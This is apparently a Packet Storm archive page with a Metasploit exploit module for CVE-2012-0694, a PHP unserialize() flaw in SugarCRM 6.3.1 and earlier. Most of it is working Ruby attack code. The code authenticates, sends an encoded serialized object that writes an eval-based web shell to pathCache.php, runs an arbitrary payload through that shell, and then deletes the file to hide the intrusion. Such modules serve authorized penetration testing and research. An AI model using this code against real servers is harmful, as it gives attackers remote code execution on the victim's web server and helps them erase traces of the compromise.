what you don't know can hurt you

SugarCRM 6.3.1 unserialize() PHP Code Execution

SugarCRM 6.3.1 unserialize() PHP Code Execution
Posted Jun 27, 2012
Authored by EgiX, sinn3r, juan vazquez | Site metasploit.com

This Metasploit module exploits a php unserialize() vulnerability in SugarCRM versions 6.3.1 and below which could be abused to allow authenticated SugarCRM users to execute arbitrary code with the permissions of the webserver. The dangerous unserialize() exists in the 'include/MVC/View/views/view.list.php' script, which is called with user controlled data from the 'current_query_by_page' parameter. The exploit abuses the __destruct() method from the SugarTheme class to write arbitrary PHP code to a 'pathCache.php' on the web root.

tags | exploit, web, arbitrary, root, php
advisories | CVE-2012-0694
MD5 | 7d01dafa74c844c1735769142b67e3ac

SugarCRM 6.3.1 unserialize() PHP Code Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'SugarCRM <= 6.3.1 unserialize() PHP Code Execution',
'Description' => %q{
This module exploits a php unserialize() vulnerability in SugarCRM <= 6.3.1
which could be abused to allow authenticated SugarCRM users to execute arbitrary
code with the permissions of the webserver.

The dangerous unserialize() exists in the 'include/MVC/View/views/view.list.php'
script, which is called with user controlled data from the 'current_query_by_page'
parameter. The exploit abuses the __destruct() method from the SugarTheme class
to write arbitrary PHP code to a 'pathCache.php' on the web root.
},
'Author' =>
[
'EgiX', # Vulnerability discovery and PoC
'juan vazquez', # Metasploit module
'sinn3r' # Metasploit module
],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2012-0694' ],
[ 'EDB', '19381' ],
[ 'URL', 'http://www.sugarcrm.com/forums/f22/critical-security-vulnerability-76537/' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'DisableNops' => true,
},
'Targets' => [ ['Automatic', { }], ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 23 2012'
))

register_options(
[
OptString.new('TARGETURI', [ true, "The base path to the web application", "/sugarcrm/"]),
OptString.new('USERNAME', [true, "The username to authenticate with" ]),
OptString.new('PASSWORD', [true, "The password to authenticate with" ])
], self.class)
end


def on_new_session(client)
if client.type == "meterpreter"
f = "pathCache.php"
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
begin
client.fs.file.rm(f)
print_good("#{@peer} - #{f} removed to stay ninja")
rescue
print_error("#{@peer} - Unable to remove #{f}")
end
end
end

def exploit
base = target_uri.path
base << '/' if base[-1, 1] != '/'

@peer = "#{rhost}:#{rport}"
username = datastore['USERNAME']
password = datastore['PASSWORD']

# Can't use vars_post because it'll escape "_"
data = "module=Users&"
data << "action=Authenticate&"
data << "user_name=#{username}&"
data << "user_password=#{password}"

res = send_request_cgi(
{
'uri' => "#{base}index.php" ,
'method' => "POST",
'headers' =>
{
'Cookie' => "PHPSESSID=1",
},
'data' => data
})

if not res or res.headers['Location'] =~ /action=Login/ or not res.headers['Set-Cookie']
print_error("#{@peer} - Login failed with \"#{username}:#{password}\"")
return
end

if res.headers['Set-Cookie'] =~ /PHPSESSID=([A-Za-z0-9]*); path/
session_id = $1
else
print_error("#{@peer} - Login failed with \"#{username}:#{password}\" (No session ID)")
return
end

print_status("#{@peer} - Login successful with #{username}:#{password}")

data = "module=Contacts&"
data << "Contacts2_CONTACT_offset=1&"
data << "current_query_by_page="
#O:10:"SugarTheme":2:{s:10:"*dirName";s:5:"../..";s:20:"SugarTheme_jsCache";s:49:"<?php eval(base64_decode($_SERVER[HTTP_CMD])); ?>";}
data << "TzoxMDoiU3VnYXJUaGVtZSI6Mjp7czoxMDoiACoAZGlyTmFtZSI7czo1OiIuLi8uLiI7czoyMDoiAFN1Z2FyVGhlbWUAX2pzQ2FjaGUiO3M6NDk6Ijw/cGhwIGV2YWwoYmFzZTY0X2RlY29kZSgkX1NFUlZFUltIVFRQX0NNRF0pKTsgPz4iO30="

print_status("#{@peer} - Exploiting the unserialize()")

res = send_request_cgi(
{
'uri' => "#{base}index.php",
'method' => 'POST',
'headers' =>
{
'Cookie' => "PHPSESSID=#{session_id};",
},
'data' => data
})

if not res or res.code != 200
print_error("#{@peer} - Exploit failed: #{res.code}")
return
end

print_status("#{@peer} - Executing the payload")

res = send_request_cgi(
{
'method' => 'GET',
'uri' => "#{base}pathCache.php",
'headers' => {
'Cmd' => Rex::Text.encode_base64(payload.encoded)
}
})

if res
print_error("#{@peer} - Payload execution failed: #{res.code}")
return
end

end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

March 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    15 Files
  • 2
    Mar 2nd
    5 Files
  • 3
    Mar 3rd
    3 Files
  • 4
    Mar 4th
    25 Files
  • 5
    Mar 5th
    20 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    12 Files
  • 9
    Mar 9th
    3 Files
  • 10
    Mar 10th
    4 Files
  • 11
    Mar 11th
    23 Files
  • 12
    Mar 12th
    12 Files
  • 13
    Mar 13th
    12 Files
  • 14
    Mar 14th
    19 Files
  • 15
    Mar 15th
    12 Files
  • 16
    Mar 16th
    3 Files
  • 17
    Mar 17th
    1 Files
  • 18
    Mar 18th
    15 Files
  • 19
    Mar 19th
    22 Files
  • 20
    Mar 20th
    14 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    17 Files
  • 23
    Mar 23rd
    1 Files
  • 24
    Mar 24th
    1 Files
  • 25
    Mar 25th
    16 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close